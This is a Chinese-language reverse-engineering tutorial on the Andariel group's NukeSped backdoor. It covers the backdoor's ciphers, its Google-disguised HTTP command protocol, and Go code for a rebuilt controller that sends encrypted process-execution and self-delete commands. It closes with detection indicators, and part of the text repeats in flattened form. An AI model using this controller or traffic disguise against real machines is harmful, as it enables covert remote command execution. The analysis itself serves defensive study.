逆向开发朝鲜Andariel组织下的NukeSped后门控制端
字数 1642 2025-08-19 12:40:41

NukeSped后门逆向分析与控制端构建教学文档

1. 概述

NukeSped是朝鲜Andariel组织使用的一款后门程序,最新变种被发现利用Apache ActiveMQ漏洞(CVE-2023-46604)进行传播。该后门将通信流量伪装为正常的谷歌通信流量,增加了检测难度。

2. 样本分析

2.1 样本基本信息

  • 样本类型:NukeSped Variant - Type 1
  • MD5哈希:7699ba4eab5837a4ad9d5d6bbedffc18
  • 主要功能:下载文件、执行命令和终止进程

2.2 动态获取API

样本在运行前会动态获取API:

  • 使用LoadLibraryAGetProcAddress函数
  • API字符串经过加密处理

2.3 加解密算法

算法一:简单异或加密

  • 加密方式:使用0xA1作为异或值,按字节进行异或运算
  • 解密示例:
    def xor_decrypt(data):
        return bytes([b ^ 0xA1 for b in data])
    

算法二:对称加解密

  • 加密算法:按字节加3,然后取反
  • 解密算法:按字节减3,然后取反
  • Go语言实现:
    func encode(buffer []byte) []byte {
        output := make([]byte, len(buffer))
        for i := 0; i < len(buffer); i++ {
            output[i] = 3 + ^buffer[i]
        }
        return output
    }
    
    func decode(buffer []byte) []byte {
        output := make([]byte, len(buffer))
        for i := 0; i < len(buffer); i++ {
            output[i] = ^(buffer[i] - 3)
        }
        return output
    }
    

3. 通信行为分析

3.1 通信模型

后门 → 控制端

命令 描述
10 初始连接
30 命令执行成功
35 命令执行失败

控制端 → 后门

命令 描述
11 样本自删除
12 休眠1小时
30 向管道传输数据
33 创建进程并返回回显
34 终止33指令运行的进程

3.2 通信数据格式

上线请求

POST /login.php HTTP/1.1
Host: www.google.com
Connection: keep-alive
Cache-Control: max-age=0
Sec-Fetch-Mode: 10
Sec-Fetch-User: S-WIN-XXXXXXX
Sec-Fetch-Dest: 01

远控指令33

控制端发送:

HTTP/1.1 200 OK
Content-Type: text/html
Sec-Fetch-Mode: 33
Content-Length: 18

[加密载荷]

后门响应:

GET http://www.google.com/search?q&cp=0&xssi=t&hl=en&authuser=1&nolsbt=1&dpr=1 HTTP/1.1
Sec-Fetch-Mode: 30
Content-Length: 00000023
Connection: keep-alive

[加密载荷]

其他指令

指令34、11、12格式类似,主要区别在Sec-Fetch-Mode值。

4. 功能实现分析

4.1 远控指令33(创建进程)

  1. 从响应中提取Sec-Fetch-Mode和Content-Length
  2. 申请内存(Content-Length+2)
  3. 提取并解密命令行数据
  4. 调用CreateProcessA执行命令
  5. 使用CreatePipe和ReadFile获取回显
  6. 构建响应数据包并发送

4.2 远控指令34(终止进程)

  1. 检查Sec-Fetch-Mode为34且Content-Length为0
  2. 调用TerminateThread、CloseHandle、TerminateProcess
  3. 关闭相关句柄

4.3 远控指令30(管道传输)

  1. 提取Sec-Fetch-Mode和Content-Length
  2. 申请内存并解密载荷
  3. 调用WriteFile向管道传输数据

4.4 远控指令11(自删除)

  1. 检查Sec-Fetch-Mode为11且Content-Length为0
  2. 退出通信循环
  3. 解密自删除代码字符串
  4. 在TEMP目录释放自删除bat文件并执行

4.5 远控指令12(休眠)

  1. 检查Sec-Fetch-Mode为12且Content-Length为0
  2. 休眠1小时
  3. 恢复通信

5. 控制端构建

5.1 Go语言实现要点

主程序结构

func main() {
    listener, err := net.Listen("tcp", address+":"+port)
    defer listener.Close()
    
    for {
        conn, err := listener.Accept()
        go handle_NukeSped_Connection(conn)
    }
}

func handle_NukeSped_Connection(conn net.Conn) {
    defer conn.Close()
    recvdata := common.RecvHeader(conn)
    
    // 命令处理循环
    for {
        // 读取用户输入并处理不同指令
    }
}

指令33实现

func Command_33(conn net.Conn, command string) {
    sendcommond33(conn, command)
    data_header := RecvHeader(conn)
    data_len := // 从header中提取长度
    data_buf := recvBuf(conn, data_len)
    fmt.Println(string(BytesToGB2312(data_buf)))
}

func sendcommond33(conn net.Conn, command string) {
    // 构建HTTP响应头
    response := "HTTP/1.1 200 OK\r\n" +
                "Content-Type: text/html\r\n" +
                "Sec-Fetch-Mode: 33\r\n" +
                "Content-Length: " + strconv.Itoa(len(command)+1) + "\r\n\r\n"
    
    conn.Write([]byte(response))
    time.Sleep(2 * time.Second)
    conn.Write(encode(append([]byte(command), byte(00))))
}

其他指令实现

类似指令33,主要区别在于:

  • Sec-Fetch-Mode值不同
  • 载荷内容不同
  • 对于指令34和11,Content-Length为0

6. 调试技巧

6.1 阻塞与非阻塞socket问题

  • 后门使用非阻塞socket
  • 调试时需注意recv和send的时序
  • 解决方案:
    1. 在控制端发送代码处设置断点
    2. 在后门recv处设置断点
    3. 步过控制端断点后再继续后门调试

6.2 编码转换

  • 后门响应可能使用GB2312编码
  • Go语言转换示例:
import "golang.org/x/text/encoding/simplifiedchinese"

func BytesToGB2312(buffer []byte) []byte {
    decoder := simplifiedchinese.GB18030.NewDecoder()
    utf8Bytes, err := decoder.Bytes(buffer)
    if err != nil {
        log.Fatal(err)
    }
    return utf8Bytes
}

7. 总结

NukeSped后门虽然功能相对简单,但其通信伪装技术增加了检测难度。通过分析其通信协议和加解密算法,可以构建有效的控制端进行模拟测试。在实际防御中,应重点关注:

  1. 异常Google域名的通信
  2. 特定的HTTP头部字段组合
  3. 非标准端口上的HTTP通信
  4. 上述加解密算法的特征检测
NukeSped后门逆向分析与控制端构建教学文档 1. 概述 NukeSped是朝鲜Andariel组织使用的一款后门程序,最新变种被发现利用Apache ActiveMQ漏洞(CVE-2023-46604)进行传播。该后门将通信流量伪装为正常的谷歌通信流量,增加了检测难度。 2. 样本分析 2.1 样本基本信息 样本类型:NukeSped Variant - Type 1 MD5哈希:7699ba4eab5837a4ad9d5d6bbedffc18 主要功能:下载文件、执行命令和终止进程 2.2 动态获取API 样本在运行前会动态获取API: 使用 LoadLibraryA 和 GetProcAddress 函数 API字符串经过加密处理 2.3 加解密算法 算法一:简单异或加密 加密方式:使用0xA1作为异或值,按字节进行异或运算 解密示例: 算法二:对称加解密 加密算法:按字节加3,然后取反 解密算法:按字节减3,然后取反 Go语言实现: 3. 通信行为分析 3.1 通信模型 后门 → 控制端 | 命令 | 描述 | |------|------| | 10 | 初始连接 | | 30 | 命令执行成功 | | 35 | 命令执行失败 | 控制端 → 后门 | 命令 | 描述 | |------|------| | 11 | 样本自删除 | | 12 | 休眠1小时 | | 30 | 向管道传输数据 | | 33 | 创建进程并返回回显 | | 34 | 终止33指令运行的进程 | 3.2 通信数据格式 上线请求 远控指令33 控制端发送: 后门响应: 其他指令 指令34、11、12格式类似,主要区别在Sec-Fetch-Mode值。 4. 功能实现分析 4.1 远控指令33(创建进程) 从响应中提取Sec-Fetch-Mode和Content-Length 申请内存(Content-Length+2) 提取并解密命令行数据 调用CreateProcessA执行命令 使用CreatePipe和ReadFile获取回显 构建响应数据包并发送 4.2 远控指令34(终止进程) 检查Sec-Fetch-Mode为34且Content-Length为0 调用TerminateThread、CloseHandle、TerminateProcess 关闭相关句柄 4.3 远控指令30(管道传输) 提取Sec-Fetch-Mode和Content-Length 申请内存并解密载荷 调用WriteFile向管道传输数据 4.4 远控指令11(自删除) 检查Sec-Fetch-Mode为11且Content-Length为0 退出通信循环 解密自删除代码字符串 在TEMP目录释放自删除bat文件并执行 4.5 远控指令12(休眠) 检查Sec-Fetch-Mode为12且Content-Length为0 休眠1小时 恢复通信 5. 控制端构建 5.1 Go语言实现要点 主程序结构 指令33实现 其他指令实现 类似指令33,主要区别在于: Sec-Fetch-Mode值不同 载荷内容不同 对于指令34和11,Content-Length为0 6. 调试技巧 6.1 阻塞与非阻塞socket问题 后门使用非阻塞socket 调试时需注意recv和send的时序 解决方案: 在控制端发送代码处设置断点 在后门recv处设置断点 步过控制端断点后再继续后门调试 6.2 编码转换 后门响应可能使用GB2312编码 Go语言转换示例: 7. 总结 NukeSped后门虽然功能相对简单,但其通信伪装技术增加了检测难度。通过分析其通信协议和加解密算法,可以构建有效的控制端进行模拟测试。在实际防御中,应重点关注: 异常Google域名的通信 特定的HTTP头部字段组合 非标准端口上的HTTP通信 上述加解密算法的特征检测